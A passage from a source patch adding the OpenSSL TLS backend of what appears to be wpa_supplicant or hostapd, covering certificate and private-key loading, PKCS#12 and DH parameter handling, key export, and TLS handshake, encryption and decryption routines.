%s - ignoring " + "cert already in hash table error", + __func__); + } else { + X509_free(cert); + return -1; + } + } + X509_free(cert); + wpa_printf(MSG_DEBUG, "OpenSSL: %s - added ca_cert_blob " + "to certificate store", __func__); + return 0; + } + +#ifdef ANDROID + if (ca_cert && os_strncmp("keystore://", ca_cert, 11) == 0) { + BIO *bio = BIO_from_keystore(&ca_cert[11]); + STACK_OF(X509_INFO) *stack = NULL; + int i; + + if (bio) { + stack = PEM_X509_INFO_read_bio(bio, NULL, NULL, NULL); + BIO_free(bio); + } + if (!stack) + return -1; + + for (i = 0; i < sk_X509_INFO_num(stack); ++i) { + X509_INFO *info = sk_X509_INFO_value(stack, i); + if (info->x509) { + X509_STORE_add_cert(ssl_ctx->cert_store, + info->x509); + } + if (info->crl) { + X509_STORE_add_crl(ssl_ctx->cert_store, + info->crl); + } + } + sk_X509_INFO_pop_free(stack, X509_INFO_free); + SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, tls_verify_cb); + return 0; + } +#endif /* ANDROID */ + +#ifdef CONFIG_NATIVE_WINDOWS + if (ca_cert && tls_cryptoapi_ca_cert(ssl_ctx, conn->ssl, ca_cert) == + 0) { + wpa_printf(MSG_DEBUG, "OpenSSL: Added CA certificates from " + "system certificate store"); + return 0; + } +#endif /* CONFIG_NATIVE_WINDOWS */ + + if (ca_cert || ca_path) { +#ifndef OPENSSL_NO_STDIO + if (SSL_CTX_load_verify_locations(ssl_ctx, ca_cert, ca_path) != + 1) { + tls_show_errors(MSG_WARNING, __func__, + "Failed to load root certificates"); + if (ca_cert && + tls_load_ca_der(ssl_ctx, ca_cert) == 0) { + wpa_printf(MSG_DEBUG, "OpenSSL: %s - loaded " + "DER format CA certificate", + __func__); + } else + return -1; + } else { + wpa_printf(MSG_DEBUG, "TLS: Trusted root " + "certificate(s) loaded"); + tls_get_errors(ssl_ctx); + } +#else /* OPENSSL_NO_STDIO */ + wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", + __func__); + return -1; +#endif /* OPENSSL_NO_STDIO */ + } else { + /* No ca_cert configured - do not try to verify server + * certificate */ + conn->ca_cert_verify = 0; + } + + return 0; +} + + +static int tls_global_ca_cert(SSL_CTX *ssl_ctx, const char *ca_cert) +{ + if (ca_cert) { + if (SSL_CTX_load_verify_locations(ssl_ctx, ca_cert, NULL) != 1) + { + tls_show_errors(MSG_WARNING, __func__, + "Failed to load root certificates"); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLS: Trusted root " + "certificate(s) loaded"); + +#ifndef OPENSSL_NO_STDIO + /* Add the same CAs to the client certificate requests */ + SSL_CTX_set_client_CA_list(ssl_ctx, + SSL_load_client_CA_file(ca_cert)); +#endif /* OPENSSL_NO_STDIO */ + } + + return 0; +} + + +int tls_global_set_verify(void *ssl_ctx, int check_crl) +{ + int flags; + + if (check_crl) { + X509_STORE *cs = SSL_CTX_get_cert_store(ssl_ctx); + if (cs == NULL) { + tls_show_errors(MSG_INFO, __func__, "Failed to get " + "certificate store when enabling " + "check_crl"); + return -1; + } + flags = X509_V_FLAG_CRL_CHECK; + if (check_crl == 2) + flags |= X509_V_FLAG_CRL_CHECK_ALL; + X509_STORE_set_flags(cs, flags); + } + return 0; +} + + +static int tls_connection_set_subject_match(struct tls_connection *conn, + const char *subject_match, + const char *altsubject_match, + const char *suffix_match) +{ + os_free(conn->subject_match); + conn->subject_match = NULL; + if (subject_match) { + conn->subject_match = os_strdup(subject_match); + if (conn->subject_match == NULL) + return -1; + } + + os_free(conn->altsubject_match); + conn->altsubject_match = NULL; + if (altsubject_match) { + conn->altsubject_match = os_strdup(altsubject_match); + if (conn->altsubject_match == NULL) + return -1; + } + + os_free(conn->suffix_match); + conn->suffix_match = NULL; + if (suffix_match) { + conn->suffix_match = os_strdup(suffix_match); + if (conn->suffix_match == NULL) + return -1; + } + + return 0; +} + + +int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, + int verify_peer) +{ + static int counter = 0; + + if (conn == NULL) + return -1; + + if (verify_peer) { + conn->ca_cert_verify = 1; + SSL_set_verify(conn->ssl, SSL_VERIFY_PEER | + SSL_VERIFY_FAIL_IF_NO_PEER_CERT | + SSL_VERIFY_CLIENT_ONCE, tls_verify_cb); + } else { + conn->ca_cert_verify = 0; + SSL_set_verify(conn->ssl, SSL_VERIFY_NONE, NULL); + } + + SSL_set_accept_state(conn->ssl); + + /* + * Set session id context in order to avoid fatal errors when client + * tries to resume a session. However, set the context to a unique + * value in order to effectively disable session resumption for now + * since not all areas of the server code are ready for it (e.g., + * EAP-TTLS needs special handling for Phase 2 after abbreviated TLS + * handshake). + */ + counter++; + SSL_set_session_id_context(conn->ssl, + (const unsigned char *) &counter, + sizeof(counter)); + + return 0; +} + + +static int tls_connection_client_cert(struct tls_connection *conn, + const char *client_cert, + const u8 *client_cert_blob, + size_t client_cert_blob_len) +{ + if (client_cert == NULL && client_cert_blob == NULL) + return 0; + + if (client_cert_blob && + SSL_use_certificate_ASN1(conn->ssl, (u8 *) client_cert_blob, + client_cert_blob_len) == 1) { + wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_ASN1 --> " + "OK"); + return 0; + } else if (client_cert_blob) { + tls_show_errors(MSG_DEBUG, __func__, + "SSL_use_certificate_ASN1 failed"); + } + + if (client_cert == NULL) + return -1; + +#ifdef ANDROID + if (os_strncmp("keystore://", client_cert, 11) == 0) { + BIO *bio = BIO_from_keystore(&client_cert[11]); + X509 *x509 = NULL; + int ret = -1; + if (bio) { + x509 = PEM_read_bio_X509(bio, NULL, NULL, NULL); + BIO_free(bio); + } + if (x509) { + if (SSL_use_certificate(conn->ssl, x509) == 1) + ret = 0; + X509_free(x509); + } + return ret; + } +#endif /* ANDROID */ + +#ifndef OPENSSL_NO_STDIO + if (SSL_use_certificate_file(conn->ssl, client_cert, + SSL_FILETYPE_ASN1) == 1) { + wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_file (DER)" + " --> OK"); + return 0; + } + + if (SSL_use_certificate_file(conn->ssl, client_cert, + SSL_FILETYPE_PEM) == 1) { + ERR_clear_error(); + wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_file (PEM)" + " --> OK"); + return 0; + } + + tls_show_errors(MSG_DEBUG, __func__, + "SSL_use_certificate_file failed"); +#else /* OPENSSL_NO_STDIO */ + wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); +#endif /* OPENSSL_NO_STDIO */ + + return -1; +} + + +static int tls_global_client_cert(SSL_CTX *ssl_ctx, const char *client_cert) +{ +#ifndef OPENSSL_NO_STDIO + if (client_cert == NULL) + return 0; + + if (SSL_CTX_use_certificate_file(ssl_ctx, client_cert, + SSL_FILETYPE_ASN1) != 1 && + SSL_CTX_use_certificate_chain_file(ssl_ctx, client_cert) != 1 && + SSL_CTX_use_certificate_file(ssl_ctx, client_cert, + SSL_FILETYPE_PEM) != 1) { + tls_show_errors(MSG_INFO, __func__, + "Failed to load client certificate"); + return -1; + } + return 0; +#else /* OPENSSL_NO_STDIO */ + if (client_cert == NULL) + return 0; + wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); + return -1; +#endif /* OPENSSL_NO_STDIO */ +} + + +static int tls_passwd_cb(char *buf, int size, int rwflag, void *password) +{ + if (password == NULL) { + return 0; + } + os_strlcpy(buf, (char *) password, size); + return os_strlen(buf); +} + + +#ifdef PKCS12_FUNCS +static int tls_parse_pkcs12(SSL_CTX *ssl_ctx, SSL *ssl, PKCS12 *p12, + const char *passwd) +{ + EVP_PKEY *pkey; + X509 *cert; + STACK_OF(X509) *certs; + int res = 0; + char buf[256]; + + pkey = NULL; + cert = NULL; + certs = NULL; + if (!PKCS12_parse(p12, passwd, &pkey, &cert, &certs)) { + tls_show_errors(MSG_DEBUG, __func__, + "Failed to parse PKCS12 file"); + PKCS12_free(p12); + return -1; + } + wpa_printf(MSG_DEBUG, "TLS: Successfully parsed PKCS12 data"); + + if (cert) { + X509_NAME_oneline(X509_get_subject_name(cert), buf, + sizeof(buf)); + wpa_printf(MSG_DEBUG, "TLS: Got certificate from PKCS12: " + "subject='%s'", buf); + if (ssl) { + if (SSL_use_certificate(ssl, cert) != 1) + res = -1; + } else { + if (SSL_CTX_use_certificate(ssl_ctx, cert) != 1) + res = -1; + } + X509_free(cert); + } + + if (pkey) { + wpa_printf(MSG_DEBUG, "TLS: Got private key from PKCS12"); + if (ssl) { + if (SSL_use_PrivateKey(ssl, pkey) != 1) + res = -1; + } else { + if (SSL_CTX_use_PrivateKey(ssl_ctx, pkey) != 1) + res = -1; + } + EVP_PKEY_free(pkey); + } + + if (certs) { + while ((cert = sk_X509_pop(certs)) != NULL) { + X509_NAME_oneline(X509_get_subject_name(cert), buf, + sizeof(buf)); + wpa_printf(MSG_DEBUG, "TLS: additional certificate" + " from PKCS12: subject='%s'", buf); + /* + * There is no SSL equivalent for the chain cert - so + * always add it to the context... + */ + if (SSL_CTX_add_extra_chain_cert(ssl_ctx, cert) != 1) { + res = -1; + break; + } + } + sk_X509_free(certs); + } + + PKCS12_free(p12); + + if (res < 0) + tls_get_errors(ssl_ctx); + + return res; +} +#endif /* PKCS12_FUNCS */ + + +static int tls_read_pkcs12(SSL_CTX *ssl_ctx, SSL *ssl, const char *private_key, + const char *passwd) +{ +#ifdef PKCS12_FUNCS + FILE *f; + PKCS12 *p12; + + f = fopen(private_key, "rb"); + if (f == NULL) + return -1; + + p12 = d2i_PKCS12_fp(f, NULL); + fclose(f); + + if (p12 == NULL) { + tls_show_errors(MSG_INFO, __func__, + "Failed to use PKCS#12 file"); + return -1; + } + + return tls_parse_pkcs12(ssl_ctx, ssl, p12, passwd); + +#else /* PKCS12_FUNCS */ + wpa_printf(MSG_INFO, "TLS: PKCS12 support disabled - cannot read " + "p12/pfx files"); + return -1; +#endif /* PKCS12_FUNCS */ +} + + +static int tls_read_pkcs12_blob(SSL_CTX *ssl_ctx, SSL *ssl, + const u8 *blob, size_t len, const char *passwd) +{ +#ifdef PKCS12_FUNCS + PKCS12 *p12; + + p12 = d2i_PKCS12(NULL, (OPENSSL_d2i_TYPE) &blob, len); + if (p12 == NULL) { + tls_show_errors(MSG_INFO, __func__, + "Failed to use PKCS#12 blob"); + return -1; + } + + return tls_parse_pkcs12(ssl_ctx, ssl, p12, passwd); + +#else /* PKCS12_FUNCS */ + wpa_printf(MSG_INFO, "TLS: PKCS12 support disabled - cannot parse " + "p12/pfx blobs"); + return -1; +#endif /* PKCS12_FUNCS */ +} + + +#ifndef OPENSSL_NO_ENGINE +static int tls_engine_get_cert(struct tls_connection *conn, + const char *cert_id, + X509 **cert) +{ + /* this runs after the private key is loaded so no PIN is required */ + struct { + const char *cert_id; + X509 *cert; + } params; + params.cert_id = cert_id; + params.cert = NULL; + + if (!ENGINE_ctrl_cmd(conn->engine, "LOAD_CERT_CTRL", + 0, ¶ms, NULL, 1)) { + wpa_printf(MSG_ERROR, "ENGINE: cannot load client cert with id" + " '%s' [%s]", cert_id, + ERR_error_string(ERR_get_error(), NULL)); + return TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; + } + if (!params.cert) { + wpa_printf(MSG_ERROR, "ENGINE: did not properly cert with id" + " '%s'", cert_id); + return TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; + } + *cert = params.cert; + return 0; +} +#endif /* OPENSSL_NO_ENGINE */ + + +static int tls_connection_engine_client_cert(struct tls_connection *conn, + const char *cert_id) +{ +#ifndef OPENSSL_NO_ENGINE + X509 *cert; + + if (tls_engine_get_cert(conn, cert_id, &cert)) + return -1; + + if (!SSL_use_certificate(conn->ssl, cert)) { + tls_show_errors(MSG_ERROR, __func__, + "SSL_use_certificate failed"); + X509_free(cert); + return -1; + } + X509_free(cert); + wpa_printf(MSG_DEBUG, "ENGINE: SSL_use_certificate --> " + "OK"); + return 0; + +#else /* OPENSSL_NO_ENGINE */ + return -1; +#endif /* OPENSSL_NO_ENGINE */ +} + + +static int tls_connection_engine_ca_cert(void *_ssl_ctx, + struct tls_connection *conn, + const char *ca_cert_id) +{ +#ifndef OPENSSL_NO_ENGINE + X509 *cert; + SSL_CTX *ssl_ctx = _ssl_ctx; + + if (tls_engine_get_cert(conn, ca_cert_id, &cert)) + return -1; + + /* start off the same as tls_connection_ca_cert */ + X509_STORE_free(ssl_ctx->cert_store); + ssl_ctx->cert_store = X509_STORE_new(); + if (ssl_ctx->cert_store == NULL) { + wpa_printf(MSG_DEBUG, "OpenSSL: %s - failed to allocate new " + "certificate store", __func__); + X509_free(cert); + return -1; + } + if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { + unsigned long err = ERR_peek_error(); + tls_show_errors(MSG_WARNING, __func__, + "Failed to add CA certificate from engine " + "to certificate store"); + if (ERR_GET_LIB(err) == ERR_LIB_X509 && + ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) { + wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring cert" + " already in hash table error", + __func__); + } else { + X509_free(cert); + return -1; + } + } + X509_free(cert); + wpa_printf(MSG_DEBUG, "OpenSSL: %s - added CA certificate from engine " + "to certificate store", __func__); + SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, tls_verify_cb); + conn->ca_cert_verify = 1; + + return 0; + +#else /* OPENSSL_NO_ENGINE */ + return -1; +#endif /* OPENSSL_NO_ENGINE */ +} + + +static int tls_connection_engine_private_key(struct tls_connection *conn) +{ +#ifndef OPENSSL_NO_ENGINE + if (SSL_use_PrivateKey(conn->ssl, conn->private_key) != 1) { + tls_show_errors(MSG_ERROR, __func__, + "ENGINE: cannot use private key for TLS"); + return -1; + } + if (!SSL_check_private_key(conn->ssl)) { + tls_show_errors(MSG_INFO, __func__, + "Private key failed verification"); + return -1; + } + return 0; +#else /* OPENSSL_NO_ENGINE */ + wpa_printf(MSG_ERROR, "SSL: Configuration uses engine, but " + "engine support was not compiled in"); + return -1; +#endif /* OPENSSL_NO_ENGINE */ +} + + +static int tls_connection_private_key(void *_ssl_ctx, + struct tls_connection *conn, + const char *private_key, + const char *private_key_passwd, + const u8 *private_key_blob, + size_t private_key_blob_len) +{ + SSL_CTX *ssl_ctx = _ssl_ctx; + char *passwd; + int ok; + + if (private_key == NULL && private_key_blob == NULL) + return 0; + + if (private_key_passwd) { + passwd = os_strdup(private_key_passwd); + if (passwd == NULL) + return -1; + } else + passwd = NULL; + + SSL_CTX_set_default_passwd_cb(ssl_ctx, tls_passwd_cb); + SSL_CTX_set_default_passwd_cb_userdata(ssl_ctx, passwd); + + ok = 0; + while (private_key_blob) { + if (SSL_use_PrivateKey_ASN1(EVP_PKEY_RSA, conn->ssl, + (u8 *) private_key_blob, + private_key_blob_len) == 1) { + wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_PrivateKey_" + "ASN1(EVP_PKEY_RSA) --> OK"); + ok = 1; + break; + } + + if (SSL_use_PrivateKey_ASN1(EVP_PKEY_DSA, conn->ssl, + (u8 *) private_key_blob, + private_key_blob_len) == 1) { + wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_PrivateKey_" + "ASN1(EVP_PKEY_DSA) --> OK"); + ok = 1; + break; + } + + if (SSL_use_RSAPrivateKey_ASN1(conn->ssl, + (u8 *) private_key_blob, + private_key_blob_len) == 1) { + wpa_printf(MSG_DEBUG, "OpenSSL: " + "SSL_use_RSAPrivateKey_ASN1 --> OK"); + ok = 1; + break; + } + + if (tls_read_pkcs12_blob(ssl_ctx, conn->ssl, private_key_blob, + private_key_blob_len, passwd) == 0) { + wpa_printf(MSG_DEBUG, "OpenSSL: PKCS#12 as blob --> " + "OK"); + ok = 1; + break; + } + + break; + } + + while (!ok && private_key) { +#ifndef OPENSSL_NO_STDIO + if (SSL_use_PrivateKey_file(conn->ssl, private_key, + SSL_FILETYPE_ASN1) == 1) { + wpa_printf(MSG_DEBUG, "OpenSSL: " + "SSL_use_PrivateKey_File (DER) --> OK"); + ok = 1; + break; + } + + if (SSL_use_PrivateKey_file(conn->ssl, private_key, + SSL_FILETYPE_PEM) == 1) { + wpa_printf(MSG_DEBUG, "OpenSSL: " + "SSL_use_PrivateKey_File (PEM) --> OK"); + ok = 1; + break; + } +#else /* OPENSSL_NO_STDIO */ + wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", + __func__); +#endif /* OPENSSL_NO_STDIO */ + + if (tls_read_pkcs12(ssl_ctx, conn->ssl, private_key, passwd) + == 0) { + wpa_printf(MSG_DEBUG, "OpenSSL: Reading PKCS#12 file " + "--> OK"); + ok = 1; + break; + } + + if (tls_cryptoapi_cert(conn->ssl, private_key) == 0) { + wpa_printf(MSG_DEBUG, "OpenSSL: Using CryptoAPI to " + "access certificate store --> OK"); + ok = 1; + break; + } + + break; + } + + if (!ok) { + tls_show_errors(MSG_INFO, __func__, + "Failed to load private key"); + os_free(passwd); + return -1; + } + ERR_clear_error(); + SSL_CTX_set_default_passwd_cb(ssl_ctx, NULL); + os_free(passwd); + + if (!SSL_check_private_key(conn->ssl)) { + tls_show_errors(MSG_INFO, __func__, "Private key failed " + "verification"); + return -1; + } + + wpa_printf(MSG_DEBUG, "SSL: Private key loaded successfully"); + return 0; +} + + +static int tls_global_private_key(SSL_CTX *ssl_ctx, const char *private_key, + const char *private_key_passwd) +{ + char *passwd; + + if (private_key == NULL) + return 0; + + if (private_key_passwd) { + passwd = os_strdup(private_key_passwd); + if (passwd == NULL) + return -1; + } else + passwd = NULL; + + SSL_CTX_set_default_passwd_cb(ssl_ctx, tls_passwd_cb); + SSL_CTX_set_default_passwd_cb_userdata(ssl_ctx, passwd); + if ( +#ifndef OPENSSL_NO_STDIO + SSL_CTX_use_PrivateKey_file(ssl_ctx, private_key, + SSL_FILETYPE_ASN1) != 1 && + SSL_CTX_use_PrivateKey_file(ssl_ctx, private_key, + SSL_FILETYPE_PEM) != 1 && +#endif /* OPENSSL_NO_STDIO */ + tls_read_pkcs12(ssl_ctx, NULL, private_key, passwd)) { + tls_show_errors(MSG_INFO, __func__, + "Failed to load private key"); + os_free(passwd); + ERR_clear_error(); + return -1; + } + os_free(passwd); + ERR_clear_error(); + SSL_CTX_set_default_passwd_cb(ssl_ctx, NULL); + + if (!SSL_CTX_check_private_key(ssl_ctx)) { + tls_show_errors(MSG_INFO, __func__, + "Private key failed verification"); + return -1; + } + + return 0; +} + + +static int tls_connection_dh(struct tls_connection *conn, const char *dh_file) +{ +#ifdef OPENSSL_NO_DH + if (dh_file == NULL) + return 0; + wpa_printf(MSG_ERROR, "TLS: openssl does not include DH support, but " + "dh_file specified"); + return -1; +#else /* OPENSSL_NO_DH */ + DH *dh; + BIO *bio; + + /* TODO: add support for dh_blob */ + if (dh_file == NULL) + return 0; + if (conn == NULL) + return -1; + + bio = BIO_new_file(dh_file, "r"); + if (bio == NULL) { + wpa_printf(MSG_INFO, "TLS: Failed to open DH file '%s': %s", + dh_file, ERR_error_string(ERR_get_error(), NULL)); + return -1; + } + dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL); + BIO_free(bio); +#ifndef OPENSSL_NO_DSA + while (dh == NULL) { + DSA *dsa; + wpa_printf(MSG_DEBUG, "TLS: Failed to parse DH file '%s': %s -" + " trying to parse as DSA params", dh_file, + ERR_error_string(ERR_get_error(), NULL)); + bio = BIO_new_file(dh_file, "r"); + if (bio == NULL) + break; + dsa = PEM_read_bio_DSAparams(bio, NULL, NULL, NULL); + BIO_free(bio); + if (!dsa) { + wpa_printf(MSG_DEBUG, "TLS: Failed to parse DSA file " + "'%s': %s", dh_file, + ERR_error_string(ERR_get_error(), NULL)); + break; + } + + wpa_printf(MSG_DEBUG, "TLS: DH file in DSA param format"); + dh = DSA_dup_DH(dsa); + DSA_free(dsa); + if (dh == NULL) { + wpa_printf(MSG_INFO, "TLS: Failed to convert DSA " + "params into DH params"); + break; + } + break; + } +#endif /* !OPENSSL_NO_DSA */ + if (dh == NULL) { + wpa_printf(MSG_INFO, "TLS: Failed to read/parse DH/DSA file " + "'%s'", dh_file); + return -1; + } + + if (SSL_set_tmp_dh(conn->ssl, dh) != 1) { + wpa_printf(MSG_INFO, "TLS: Failed to set DH params from '%s': " + "%s", dh_file, + ERR_error_string(ERR_get_error(), NULL)); + DH_free(dh); + return -1; + } + DH_free(dh); + return 0; +#endif /* OPENSSL_NO_DH */ +} + + +static int tls_global_dh(SSL_CTX *ssl_ctx, const char *dh_file) +{ +#ifdef OPENSSL_NO_DH + if (dh_file == NULL) + return 0; + wpa_printf(MSG_ERROR, "TLS: openssl does not include DH support, but " + "dh_file specified"); + return -1; +#else /* OPENSSL_NO_DH */ + DH *dh; + BIO *bio; + + /* TODO: add support for dh_blob */ + if (dh_file == NULL) + return 0; + if (ssl_ctx == NULL) + return -1; + + bio = BIO_new_file(dh_file, "r"); + if (bio == NULL) { + wpa_printf(MSG_INFO, "TLS: Failed to open DH file '%s': %s", + dh_file, ERR_error_string(ERR_get_error(), NULL)); + return -1; + } + dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL); + BIO_free(bio); +#ifndef OPENSSL_NO_DSA + while (dh == NULL) { + DSA *dsa; + wpa_printf(MSG_DEBUG, "TLS: Failed to parse DH file '%s': %s -" + " trying to parse as DSA params", dh_file, + ERR_error_string(ERR_get_error(), NULL)); + bio = BIO_new_file(dh_file, "r"); + if (bio == NULL) + break; + dsa = PEM_read_bio_DSAparams(bio, NULL, NULL, NULL); + BIO_free(bio); + if (!dsa) { + wpa_printf(MSG_DEBUG, "TLS: Failed to parse DSA file " + "'%s': %s", dh_file, + ERR_error_string(ERR_get_error(), NULL)); + break; + } + + wpa_printf(MSG_DEBUG, "TLS: DH file in DSA param format"); + dh = DSA_dup_DH(dsa); + DSA_free(dsa); + if (dh == NULL) { + wpa_printf(MSG_INFO, "TLS: Failed to convert DSA " + "params into DH params"); + break; + } + break; + } +#endif /* !OPENSSL_NO_DSA */ + if (dh == NULL) { + wpa_printf(MSG_INFO, "TLS: Failed to read/parse DH/DSA file " + "'%s'", dh_file); + return -1; + } + + if (SSL_CTX_set_tmp_dh(ssl_ctx, dh) != 1) { + wpa_printf(MSG_INFO, "TLS: Failed to set DH params from '%s': " + "%s", dh_file, + ERR_error_string(ERR_get_error(), NULL)); + DH_free(dh); + return -1; + } + DH_free(dh); + return 0; +#endif /* OPENSSL_NO_DH */ +} + + +int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, + struct tls_keys *keys) +{ +#ifdef CONFIG_FIPS + wpa_printf(MSG_ERROR, "OpenSSL: TLS keys cannot be exported in FIPS " + "mode"); + return -1; +#else /* CONFIG_FIPS */ + SSL *ssl; + + if (conn == NULL || keys == NULL) + return -1; + ssl = conn->ssl; + if (ssl == NULL || ssl->s3 == NULL || ssl->session == NULL) + return -1; + + os_memset(keys, 0, sizeof(*keys)); + keys->master_key = ssl->session->master_key; + keys->master_key_len = ssl->session->master_key_length; + keys->client_random = ssl->s3->client_random; + keys->client_random_len = SSL3_RANDOM_SIZE; + keys->server_random = ssl->s3->server_random; + keys->server_random_len = SSL3_RANDOM_SIZE; + + return 0; +#endif /* CONFIG_FIPS */ +} + + +int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, + const char *label, int server_random_first, + u8 *out, size_t out_len) +{ +#if OPENSSL_VERSION_NUMBER >= 0x10001000L + SSL *ssl; + if (conn == NULL) + return -1; + if (server_random_first) + return -1; + ssl = conn->ssl; + if (SSL_export_keying_material(ssl, out, out_len, label, + os_strlen(label), NULL, 0, 0) == 1) { + wpa_printf(MSG_DEBUG, "OpenSSL: Using internal PRF"); + return 0; + } +#endif + return -1; +} + + +static struct wpabuf * +openssl_handshake(struct tls_connection *conn, const struct wpabuf *in_data, + int server) +{ + int res; + struct wpabuf *out_data; + + /* + * Give TLS handshake data from the server (if available) to OpenSSL + * for processing. + */ + if (in_data && + BIO_write(conn->ssl_in, wpabuf_head(in_data), wpabuf_len(in_data)) + < 0) { + tls_show_errors(MSG_INFO, __func__, + "Handshake failed - BIO_write"); + return NULL; + } + + /* Initiate TLS handshake or continue the existing handshake */ + if (server) + res = SSL_accept(conn->ssl); + else + res = SSL_connect(conn->ssl); + if (res != 1) { + int err = SSL_get_error(conn->ssl, res); + if (err == SSL_ERROR_WANT_READ) + wpa_printf(MSG_DEBUG, "SSL: SSL_connect - want " + "more data"); + else if (err == SSL_ERROR_WANT_WRITE) + wpa_printf(MSG_DEBUG, "SSL: SSL_connect - want to " + "write"); + else { + tls_show_errors(MSG_INFO, __func__, "SSL_connect"); + conn->failed++; + } + } + + /* Get the TLS handshake data to be sent to the server */ + res = BIO_ctrl_pending(conn->ssl_out); + wpa_printf(MSG_DEBUG, "SSL: %d bytes pending from ssl_out", res); + out_data = wpabuf_alloc(res); + if (out_data == NULL) { + wpa_printf(MSG_DEBUG, "SSL: Failed to allocate memory for " + "handshake output (%d bytes)", res); + if (BIO_reset(conn->ssl_out) < 0) { + tls_show_errors(MSG_INFO, __func__, + "BIO_reset failed"); + } + return NULL; + } + res = res == 0 ? 0 : BIO_read(conn->ssl_out, wpabuf_mhead(out_data), + res); + if (res < 0) { + tls_show_errors(MSG_INFO, __func__, + "Handshake failed - BIO_read"); + if (BIO_reset(conn->ssl_out) < 0) { + tls_show_errors(MSG_INFO, __func__, + "BIO_reset failed"); + } + wpabuf_free(out_data); + return NULL; + } + wpabuf_put(out_data, res); + + return out_data; +} + + +static struct wpabuf * +openssl_get_appl_data(struct tls_connection *conn, size_t max_len) +{ + struct wpabuf *appl_data; + int res; + + appl_data = wpabuf_alloc(max_len + 100); + if (appl_data == NULL) + return NULL; + + res = SSL_read(conn->ssl, wpabuf_mhead(appl_data), + wpabuf_size(appl_data)); + if (res < 0) { + int err = SSL_get_error(conn->ssl, res); + if (err == SSL_ERROR_WANT_READ || + err == SSL_ERROR_WANT_WRITE) { + wpa_printf(MSG_DEBUG, "SSL: No Application Data " + "included"); + } else { + tls_show_errors(MSG_INFO, __func__, + "Failed to read possible " + "Application Data"); + } + wpabuf_free(appl_data); + return NULL; + } + + wpabuf_put(appl_data, res); + wpa_hexdump_buf_key(MSG_MSGDUMP, "SSL: Application Data in Finished " + "message", appl_data); + + return appl_data; +} + + +static struct wpabuf * +openssl_connection_handshake(struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data, int server) +{ + struct wpabuf *out_data; + + if (appl_data) + *appl_data = NULL; + + out_data = openssl_handshake(conn, in_data, server); + if (out_data == NULL) + return NULL; + + if (SSL_is_init_finished(conn->ssl) && appl_data && in_data) + *appl_data = openssl_get_appl_data(conn, wpabuf_len(in_data)); + + return out_data; +} + + +struct wpabuf * +tls_connection_handshake(void *ssl_ctx, struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ + return openssl_connection_handshake(conn, in_data, appl_data, 0); +} + + +struct wpabuf * tls_connection_server_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ + return openssl_connection_handshake(conn, in_data, appl_data, 1); +} + + +struct wpabuf * tls_connection_encrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ + int res; + struct wpabuf *buf; + + if (conn == NULL) + return NULL; + + /* Give plaintext data for OpenSSL to encrypt into the TLS tunnel. */ + if ((res = BIO_reset(conn->ssl_in)) < 0 || + (res = BIO_reset(conn->ssl_out)) < 0) { + tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); + return NULL; + } + res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data)); + if (res < 0) { + tls_show_errors(MSG_INFO, __func__, + "Encryption failed - SSL_write"); + return NULL; + } + + /* Read encrypted data to be sent to the server */ + buf = wpabuf_alloc(wpabuf_len(in_data) + 300); + if (buf == NULL) + return NULL; + res = BIO_read(conn->ssl_out, wpabuf_mhead(buf), wpabuf_size(buf)); + if (res < 0) { + tls_show_errors(MSG_INFO, __func__, + "Encryption failed - BIO_read"); + wpabuf_free(buf); + return NULL; + } + wpabuf_put(buf, res); + + return buf; +} + + +struct wpabuf * tls_connection_decrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ + int res; + struct wpabuf *buf; + + /* Give encrypted data from TLS tunnel for OpenSSL to decrypt. */ + res = BIO_write(conn->ssl_in, wpabuf_head(in_data), + wpabuf_len(in_data)); + if (res < 0) { + tls_show_errors(MSG_INFO, __func__, + "Decryption failed - BIO_write"); + return NULL; + } + if (BIO_reset(conn->ssl_out) < 0) { + tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); + return NULL; + } + + /* Read decrypted data for further processing */ + /* + * Even though we try to disable TLS compression, it is possible that + * this cannot be done with all TLS libraries. Add extra buffer space + * to handle the possibility of the decrypted data being longer than + * input data. + */ + buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); + if (buf == NULL) + return NULL; + res = SSL_read(conn->ssl, wpabuf_mhead(buf), wpabuf_size(buf)); + if (res < 0) { + tls_show_errors(MSG_INFO, __func__, + "Decryption failed - SSL_read"); + wpabuf_free(buf); + return NULL; + } + wpabuf_put(buf, res); + + return buf; +} + + +int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) +{ + return conn ? conn->ssl->hit : 0; +} + + +int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, + u8 *ciphers) +{ + char buf[100], *pos, *end; + u8 *c; + int ret; + + if (conn == NULL || conn->ssl == NULL || ciphers == NULL) + return -1; + + buf[0] = '\0'; + pos = buf; + end = pos + sizeof(buf); + + c = ciphers; + while (*c != TLS_CIPHER_NONE) { + 